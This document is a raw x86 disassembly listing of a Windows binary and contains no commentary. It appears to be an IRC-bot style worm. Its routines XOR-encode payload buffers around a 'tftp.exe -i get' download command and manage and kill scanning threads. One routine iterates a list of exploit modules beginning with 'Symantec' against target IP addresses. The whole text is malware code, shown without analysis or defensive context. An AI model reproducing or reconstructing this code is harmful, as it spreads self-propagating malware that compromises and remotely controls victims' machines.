push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call near ptr sub_41C9B0
add esi, edi
push 10h
push (offset aTftp_exeIGet+11h)
lea eax, [esi+ebx]
push eax
call near ptr sub_41C9B0
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call near ptr sub_41C9B0
add esi, edi
push 38h
add esi, ebx
push offset byte_433F91
push esi
call near ptr sub_41C9B0
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40AFDC endp
; =============== S U B R O U T I N E =======================================
sub_40B0B4 proc near ; CODE XREF: sub_40B0CB+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40AFBC
push eax
call sub_40B138
add esp, 0Ch
retn
sub_40B0B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B0CB proc near ; CODE XREF: sub_40DBEF+32p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push edi
mov edi, [ebp+arg_C]
push edi
push ebx
call sub_40B0B4
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_40B0EB
cmp eax, 0FFFFh
jbe short loc_40B0EF
loc_40B0EB: ; CODE XREF: sub_40B0CB+17j
xor eax, eax
jmp short loc_40B134
; ---------------------------------------------------------------------------
loc_40B0EF: ; CODE XREF: sub_40B0CB+1Ej
push esi
push edi
push ebx
call sub_40AFBC
add eax, 101h
push eax
call sub_41BB45
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_40AFBC
pop ecx
pop ecx
push eax
push esi
call sub_40AFDC
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40B153
push esi
mov edi, eax
call sub_41B721
add esp, 24h
mov eax, edi
pop esi
loc_40B134: ; CODE XREF: sub_40B0CB+22j
pop edi
pop ebx
pop ebp
retn
sub_40B0CB endp
; =============== S U B R O U T I N E =======================================
sub_40B138 proc near ; CODE XREF: sub_40B0B4+Ep
; sub_40B153+47p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_40B141
inc ecx
loc_40B141: ; CODE XREF: sub_40B138+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_40B138 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B153 proc near ; CODE XREF: sub_40B0CB+56p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_C]
cmp dl, 0Ah
jz short loc_40B16D
cmp dl, 0Dh
jz short loc_40B16D
cmp dl, 5Ch
jz short loc_40B16D
test dl, dl
jnz short loc_40B171
loc_40B16D: ; CODE XREF: sub_40B153+Aj
; sub_40B153+Fj ...
inc edx
mov [ebp+arg_C], edx
loc_40B171: ; CODE XREF: sub_40B153+18j
push esi
mov esi, 0FFh
cmp edx, esi
jbe short loc_40B199
mov eax, edx
shr eax, 8
cmp al, 0Ah
jz short loc_40B190
cmp al, 0Dh
jz short loc_40B190
cmp al, 5Ch
jz short loc_40B190
test al, al
jnz short loc_40B199
loc_40B190: ; CODE XREF: sub_40B153+2Fj
; sub_40B153+33j ...
add edx, 100h
mov [ebp+arg_C], edx
loc_40B199: ; CODE XREF: sub_40B153+26j
; sub_40B153+3Bj
push edx
call sub_40B138
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_40B1AF
cmp eax, 0FFFFh
jbe short loc_40B1B6
loc_40B1AF: ; CODE XREF: sub_40B153+53j
xor eax, eax
jmp loc_40B251
; ---------------------------------------------------------------------------
loc_40B1B6: ; CODE XREF: sub_40B153+5Aj
push ebx
mov bl, byte_4CE444
xor ecx, ecx
push edi
mov edi, [ebp+arg_8]
test edx, edx
jbe short loc_40B1E3
loc_40B1C7: ; CODE XREF: sub_40B153+8Ej
mov al, [ecx+edi]
xor al, bl
jz short loc_40B1DA
cmp al, 0Ah
jz short loc_40B1DA
cmp al, 0Dh
jz short loc_40B1DA
cmp al, 5Ch
jnz short loc_40B1DE
loc_40B1DA: ; CODE XREF: sub_40B153+79j
; sub_40B153+7Dj ...
inc bl
xor ecx, ecx
loc_40B1DE: ; CODE XREF: sub_40B153+85j
inc ecx
cmp ecx, edx
jb short loc_40B1C7
loc_40B1E3: ; CODE XREF: sub_40B153+72j
cmp edx, esi
mov byte_4CE444, bl
ja short loc_40B20F
push 15h
push offset loc_433EF0
push [ebp+arg_0]
mov byte_433EFD, dl
mov byte_433F01, bl
call near ptr sub_41C9B0
add esp, 0Ch
push 15h
jmp short loc_40B230
; ---------------------------------------------------------------------------
loc_40B20F: ; CODE XREF: sub_40B153+98j
push 17h
push offset loc_433ED8
push [ebp+arg_0]
mov word_433EE6, dx
mov byte_433EEB, bl
call near ptr sub_41C9B0
add esp, 0Ch
push 17h
loc_40B230: ; CODE XREF: sub_40B153+BAj
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_40B24C
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_40B23E: ; CODE XREF: sub_40B153+F7j
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_40B23E
loc_40B24C: ; CODE XREF: sub_40B153+E3j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_40B251: ; CODE XREF: sub_40B153+5Ej
pop esi
leave
retn
sub_40B153 endp
; =============== S U B R O U T I N E =======================================
sub_40B254 proc near ; CODE XREF: sub_40121E:loc_401584p
; sub_40121E+3A2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_441048
loc_40B25C: ; CODE XREF: sub_40B254+18j
cmp byte ptr [eax], 0
jz short loc_40B270
add eax, 234h
inc edi
cmp eax, offset dword_4CE048
jl short loc_40B25C
jmp short loc_40B2BB
; ---------------------------------------------------------------------------
loc_40B270: ; CODE XREF: sub_40B254+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_441048[esi]
push eax
call sub_41BC60
mov eax, [esp+14h+arg_4]
and dword_44124C[esi], 0
and dword_441250[esi], 0
mov dword_441248[esi], eax
mov eax, [esp+14h+arg_8]
add esp, 0Ch
and byte_441260[esi], 0
mov dword_441254[esi], eax
pop esi
loc_40B2BB: ; CODE XREF: sub_40B254+1Aj
mov eax, edi
pop edi
retn
sub_40B254 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2BF proc near ; DATA XREF: sub_401AA1+2903o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
push [ebp+var_10]
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_40B311
push [ebp+var_14]
call sub_40B56A
add esp, 14h
push 0
call dword_4280D4 ; ExitThread
pop edi
pop esi
sub_40B2BF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B311 proc near ; CODE XREF: sub_40B2BF+38p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_433FCC
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 14h
xor edi, edi
mov esi, offset dword_441048
loc_40B33B: ; CODE XREF: sub_40B311+78j
cmp byte ptr [esi], 0
jz short loc_40B37C
cmp [ebp+arg_C], 0
jnz short loc_40B34F
cmp dword ptr [esi+204h], 0
jnz short loc_40B37C
loc_40B34F: ; CODE XREF: sub_40B311+33j
push esi
push edi
lea eax, [ebp+var_200]
push offset dword_42EC94
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 24h
loc_40B37C: ; CODE XREF: sub_40B311+2Dj
; sub_40B311+3Cj
add esi, 234h
inc edi
cmp esi, offset dword_4CE048
jl short loc_40B33B
pop edi
pop esi
leave
retn
sub_40B311 endp
; =============== S U B R O U T I N E =======================================
sub_40B38F proc near ; CODE XREF: sub_401AA1+7912p
; sub_40B417+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40B411
cmp esi, 400h
jge short loc_40B411
imul esi, 234h
push edi
push ebx
lea edi, dword_44125C[esi]
push dword ptr [edi]
call dword_4280B4 ; TerminateThread
cmp [edi], ebx
jz short loc_40B3C1
inc ebp
loc_40B3C1: ; CODE XREF: sub_40B38F+2Fj
mov [edi], ebx
lea edi, dword_441250[esi]
mov dword_441248[esi], ebx
mov dword_44124C[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40B3E2
push eax
call sub_41A03B
pop ecx
loc_40B3E2: ; CODE XREF: sub_40B38F+4Aj
mov [edi], ebx
lea edi, dword_441254[esi]
mov byte ptr dword_441048[esi], bl
mov byte_441260[esi], bl
push dword ptr [edi]
call dword_4CE3A0 ; closesocket
lea esi, dword_441258[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_4CE3A0 ; closesocket
mov [esi], ebx
pop edi
loc_40B411: ; CODE XREF: sub_40B38F+Dj
; sub_40B38F+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40B38F endp
; =============== S U B R O U T I N E =======================================
sub_40B417 proc near ; CODE XREF: sub_40111A+18p
; sub_40121E:loc_4017ABp ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_441048
loc_40B423: ; CODE XREF: sub_40B417+2Aj
cmp byte ptr [esi], 0
jz short loc_40B434
push edi
call sub_40B38F
test eax, eax
pop ecx
jz short loc_40B434
inc ebx
loc_40B434: ; CODE XREF: sub_40B417+Fj
; sub_40B417+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4CE048
jl short loc_40B423
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B417 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B449 proc near ; CODE XREF: sub_401AA1+4196p
; sub_401AA1+42E2p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_44124C
loc_40B45D: ; CODE XREF: sub_40B449+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B47F
test edi, edi
jle short loc_40B471
cmp [esi], edi
jz short loc_40B471
cmp ebx, edi
jnz short loc_40B47F
loc_40B471: ; CODE XREF: sub_40B449+1Ej
; sub_40B449+22j
push ebx
call sub_40B38F
test eax, eax
pop ecx
jz short loc_40B47F
inc [ebp+var_4]
loc_40B47F: ; CODE XREF: sub_40B449+1Aj
; sub_40B449+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4CE24C
jl short loc_40B45D
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B449 endp
; =============== S U B R O U T I N E =======================================
sub_40B496 proc near ; CODE XREF: sub_40121E+3FAp
; sub_401AA1+929p ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_441248
loc_40B49D: ; CODE XREF: sub_40B496+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B4A6
inc eax
loc_40B4A6: ; CODE XREF: sub_40B496+Dj
add ecx, 234h
cmp ecx, offset dword_4CE248
jl short loc_40B49D
retn
sub_40B496 endp
; =============== S U B R O U T I N E =======================================
sub_40B4B5 proc near ; CODE XREF: sub_401AA1+2390p
arg_0 = dword ptr 4
xor eax, eax
xor edx, edx
mov ecx, offset dword_441248
push esi
loc_40B4BF: ; CODE XREF: sub_40B4B5+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B4D8
add ecx, 234h
inc edx
cmp ecx, offset dword_4CE248
jl short loc_40B4BF
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B4D8: ; CODE XREF: sub_40B4B5+10j
mov eax, edx
pop esi
retn
sub_40B4B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B4DC proc near ; CODE XREF: sub_401AA1+11F7p
; sub_401AA1+1215p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_40B4F5
push [ebp+arg_1C]
call sub_41BDE9
pop ecx
loc_40B4F5: ; CODE XREF: sub_40B4DC+Ej
push eax
push [ebp+arg_18]
call sub_40B449
pop ecx
test eax, eax
pop ecx
jle short loc_40B521
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_41BEF6
add esp, 14h
jmp short loc_40B53B
; ---------------------------------------------------------------------------
loc_40B521: ; CODE XREF: sub_40B4DC+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_41BEF6
add esp, 10h
loc_40B53B: ; CODE XREF: sub_40B4DC+43j
cmp [ebp+arg_C], 0
jnz short loc_40B55B
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 14h
loc_40B55B: ; CODE XREF: sub_40B4DC+63j
lea eax, [ebp+var_200]
push eax
call sub_415F45
pop ecx
leave
retn
sub_40B4DC endp
; =============== S U B R O U T I N E =======================================
sub_40B56A proc near ; CODE XREF: sub_4017BF+154p
; sub_40B2BF+40p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_44125C[eax], ecx
mov dword_441248[eax], ecx
mov dword_44124C[eax], ecx
mov dword_441250[eax], ecx
mov dword_441254[eax], ecx
mov dword_441258[eax], ecx
mov byte ptr dword_441048[eax], cl
mov byte_441260[eax], cl
retn
sub_40B56A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B5A7 proc near ; CODE XREF: sub_401AA1+7B83p
; sub_40B6CF+61p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor eax, eax
push esi
mov esi, [ebp+arg_0]
inc eax
jmp short loc_40B609
; ---------------------------------------------------------------------------
loc_40B5B3: ; CODE XREF: sub_40B5A7+66j
cmp eax, 1
jnz short loc_40B61A
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40B61A
cmp cl, 2Ah
jz short loc_40B5F2
cmp cl, 3Fh
jz short loc_40B5D7
cmp cl, 5Bh
jz short loc_40B5DC
xor eax, eax
cmp cl, dl
setz al
loc_40B5D7: ; CODE XREF: sub_40B5A7+22j
inc [ebp+arg_4]
jmp short loc_40B605
; ---------------------------------------------------------------------------
loc_40B5DC: ; CODE XREF: sub_40B5A7+27j
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40B63B
mov esi, [ebp+arg_0]
jmp short loc_40B603
; ---------------------------------------------------------------------------
loc_40B5F2: ; CODE XREF: sub_40B5A7+1Dj
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40B6CF
mov esi, [ebp+arg_0]
dec esi
loc_40B603: ; CODE XREF: sub_40B5A7+49j
pop ecx
pop ecx
loc_40B605: ; CODE XREF: sub_40B5A7+33j
inc esi
mov [ebp+arg_0], esi
loc_40B609: ; CODE XREF: sub_40B5A7+Aj
mov cl, [esi]
test cl, cl
jnz short loc_40B5B3
jmp short loc_40B61A
; ---------------------------------------------------------------------------
loc_40B611: ; CODE XREF: sub_40B5A7+76j
cmp eax, 1
jnz short loc_40B636
inc esi
mov [ebp+arg_0], esi
loc_40B61A: ; CODE XREF: sub_40B5A7+Fj
; sub_40B5A7+18j ...
cmp byte ptr [esi], 2Ah
jz short loc_40B611
cmp eax, 1
jnz short loc_40B636
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40B636
cmp byte ptr [esi], 0
jnz short loc_40B636
xor eax, eax
inc eax
jmp short loc_40B638
; ---------------------------------------------------------------------------
loc_40B636: ; CODE XREF: sub_40B5A7+6Dj
; sub_40B5A7+7Bj ...
xor eax, eax
loc_40B638: ; CODE XREF: sub_40B5A7+8Dj
pop esi
pop ebp
retn
sub_40B5A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B63B proc near ; CODE XREF: sub_40B5A7+41p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
xor eax, eax
mov ecx, [edx]
and [ebp+var_8], edi
inc eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40B65C
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40B65C: ; CODE XREF: sub_40B63B+19j
push ebx
push esi
loc_40B65E: ; CODE XREF: sub_40B63B+77j
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40B66C
cmp [ebp+var_4], eax
jnz short loc_40B6B4
loc_40B66C: ; CODE XREF: sub_40B63B+2Aj
test edi, edi
jnz short loc_40B6A9
cmp bl, 2Dh
jnz short loc_40B69D
lea esi, [ecx+1]
mov cl, [ecx-1]
mov al, [esi]
cmp cl, al
jge short loc_40B69D
cmp al, 5Dh
jz short loc_40B69D
cmp [ebp+var_4], edi
jnz short loc_40B69D
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40B6A9
cmp bl, al
jg short loc_40B6A9
mov [edx], esi
jmp short loc_40B6A6
; ---------------------------------------------------------------------------
loc_40B69D: ; CODE XREF: sub_40B63B+38j
; sub_40B63B+44j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40B6A9
loc_40B6A6: ; CODE XREF: sub_40B63B+60j
xor edi, edi
inc edi
loc_40B6A9: ; CODE XREF: sub_40B63B+33j
; sub_40B63B+58j ...
inc dword ptr [edx]
and [ebp+var_4], 0
xor eax, eax
inc eax
jmp short loc_40B65E
; ---------------------------------------------------------------------------
loc_40B6B4: ; CODE XREF: sub_40B63B+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40B6C1
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40B6C1: ; CODE XREF: sub_40B63B+7Ej
cmp edi, eax
jnz short loc_40B6CA
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40B6CA: ; CODE XREF: sub_40B63B+88j
mov eax, edi
pop edi
leave
retn
sub_40B63B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B6CF proc near ; CODE XREF: sub_40B5A7+53p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
xor ebx, ebx
jmp short loc_40B6FF
; ---------------------------------------------------------------------------
loc_40B6E9: ; CODE XREF: sub_40B6CF+36j
mov dl, [eax]
cmp dl, 3Fh
jz short loc_40B6FA
cmp dl, 2Ah
jnz short loc_40B70C
cmp dl, 3Fh
jnz short loc_40B6FD
loc_40B6FA: ; CODE XREF: sub_40B6CF+1Fj
inc ecx
mov [edi], ecx
loc_40B6FD: ; CODE XREF: sub_40B6CF+29j
inc dword ptr [esi]
loc_40B6FF: ; CODE XREF: sub_40B6CF+18j
mov ecx, [edi]
mov eax, [esi]
cmp [ecx], bl
jnz short loc_40B6E9
jmp short loc_40B70C
; ---------------------------------------------------------------------------
loc_40B709: ; CODE XREF: sub_40B6CF+40j
inc eax
mov [esi], eax
loc_40B70C: ; CODE XREF: sub_40B6CF+24j
; sub_40B6CF+38j
cmp byte ptr [eax], 2Ah
jz short loc_40B709
mov ecx, [edi]
mov dl, [ecx]
cmp dl, bl
jnz short loc_40B72E
cmp [eax], bl
jz short loc_40B721
xor eax, eax
jmp short loc_40B78B
; ---------------------------------------------------------------------------
loc_40B721: ; CODE XREF: sub_40B6CF+4Cj
cmp dl, bl
jnz short loc_40B72E
cmp [eax], bl
jnz short loc_40B72E
xor eax, eax
inc eax
jmp short loc_40B78B
; ---------------------------------------------------------------------------
loc_40B72E: ; CODE XREF: sub_40B6CF+48j
; sub_40B6CF+54j ...
push ecx
push eax
call sub_40B5A7
pop ecx
test eax, eax
pop ecx
jnz short loc_40B775
loc_40B73B: ; CODE XREF: sub_40B6CF+A4j
inc dword ptr [edi]
mov eax, [edi]
jmp short loc_40B74D
; ---------------------------------------------------------------------------
loc_40B741: ; CODE XREF: sub_40B6CF+86j
cmp cl, 5Bh
jz short loc_40B757
cmp dl, bl
jz short loc_40B757
inc eax
mov [edi], eax
loc_40B74D: ; CODE XREF: sub_40B6CF+70j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jnz short loc_40B741
loc_40B757: ; CODE XREF: sub_40B6CF+75j
; sub_40B6CF+79j
cmp [eax], bl
jz short loc_40B76C
push eax
push dword ptr [esi]
call sub_40B5A7
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B771
; ---------------------------------------------------------------------------
loc_40B76C: ; CODE XREF: sub_40B6CF+8Aj
mov [ebp+var_4], ebx
xor eax, eax
loc_40B771: ; CODE XREF: sub_40B6CF+9Bj
cmp eax, ebx
jnz short loc_40B73B
loc_40B775: ; CODE XREF: sub_40B6CF+6Aj
mov eax, [edi]
cmp [eax], bl
jnz short loc_40B788
mov eax, [esi]
cmp [eax], bl
jnz short loc_40B788
mov [ebp+var_4], 1
loc_40B788: ; CODE XREF: sub_40B6CF+AAj
; sub_40B6CF+B0j
mov eax, [ebp+var_4]
loc_40B78B: ; CODE XREF: sub_40B6CF+50j
; sub_40B6CF+5Dj
pop edi
pop esi
pop ebx
leave
retn
sub_40B6CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B790 proc near ; CODE XREF: sub_401AA1+2AA8p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset dword_434418
push eax
xor ebx, ebx
call sub_41BEF6
cmp dword_434058, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40B802
push esi
mov esi, offset dword_434060
loc_40B7C3: ; CODE XREF: sub_40B790+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40B7F8
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_434404
push eax
call sub_41BEF6
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C850
add esp, 1Ch
loc_40B7F8: ; CODE XREF: sub_40B790+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40B7C3
pop esi
loc_40B802: ; CODE XREF: sub_40B790+2Bj
push dword_4CE04C
call sub_41AF01
push eax
push ebx
lea eax, [ebp+var_400]
push offset dword_4343E0
push eax
call sub_41BEF6
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C850
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
lea eax, [ebp+var_200]
push eax
call sub_415F45
add esp, 38h
pop edi
pop ebx
leave
retn
sub_40B790 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B85E proc near ; CODE XREF: sub_401AA1+2A92p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4D0E04
mov ecx, dword_4D0E00
push esi
push dword_4CE04C
lea esi, [ecx+eax]
call sub_41AF01
push eax
push esi
push dword_4D0E04
lea eax, [ebp+var_200]
push dword_4D0E00
push offset dword_434458
push eax
call sub_41BEF6
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
lea eax, [ebp+var_200]
push eax
call sub_415F45
add esp, 34h
pop esi
leave
retn
sub_40B85E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B8C9 proc near ; CODE XREF: sub_401AA1+2A7Cp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push dword_4CE04C
call sub_41AF01
push eax
lea eax, [ebp+var_200]
push dword_4D1038
push offset dword_4344C0
push eax
call sub_41BEF6
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
lea eax, [ebp+var_200]
push eax
call sub_415F45
add esp, 2Ch
leave
retn
sub_40B8C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B91D proc near ; CODE XREF: sub_401AA1+2A66p
var_1000 = byte ptr -1000h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41C190
push edi
lea eax, [ebp+var_800]
push offset dword_434534
push eax
call sub_41BEF6
cmp dword_434058, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40B989
push esi
mov esi, offset aSymantec ; "Symantec"
loc_40B952: ; CODE XREF: sub_40B91D+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+var_1000]
push offset dword_434524
push eax
call sub_41BEF6
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C850
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40B952
pop esi
loc_40B989: ; CODE XREF: sub_40B91D+2Dj
push dword_4CE04C
call sub_41AF01
push eax
lea eax, [ebp+var_1000]
push offset dword_434508
push eax
call sub_41BEF6
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C850
push 0
lea eax, [ebp+var_800]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
lea eax, [ebp+var_800]
push eax
call sub_415F45
add esp, 34h
pop edi
leave
retn
sub_40B91D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B9E3 proc near ; DATA XREF: sub_401AA1+30AEo
var_3F0 = byte ptr -3F0h
var_1F0 = dword ptr -1F0h
var_1EC = byte ptr -1ECh
var_1DC = byte ptr -1DCh
var_15C = byte ptr -15Ch
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_134 = byte ptr -134h
var_124 = byte ptr -124h
var_A4 = byte ptr -0A4h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3F0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Bh
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
mov dword ptr [eax+128h], 1
lea eax, [ebp+var_134]
push eax
call dword_4CE348 ; inet_addr
xor edi, edi
mov [ebp+var_8], eax
cmp dword_434058, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], edi
jz loc_40BB42
mov esi, offset dword_434058
mov ebx, offset aSym ; "sym"
loc_40BA37: ; CODE XREF: sub_40B9E3+159j
push [ebp+var_1C]
push dword ptr [esi]
push [ebp+var_8]
call sub_40C1D4
add esp, 0Ch
cmp eax, 1
jnz loc_40BB31
push dword ptr [esi]
lea eax, [ebp+var_134]
push eax
lea eax, [ebx+0Ah]
push eax
lea eax, [ebp+var_3F0]
push offset dword_4345C8
push eax
call sub_41BEF6
push edi
lea eax, [ebp+var_3F0]
push [ebp+var_14]
push eax
lea eax, [ebp+var_124]
push eax
push [ebp+var_24]
call sub_409743
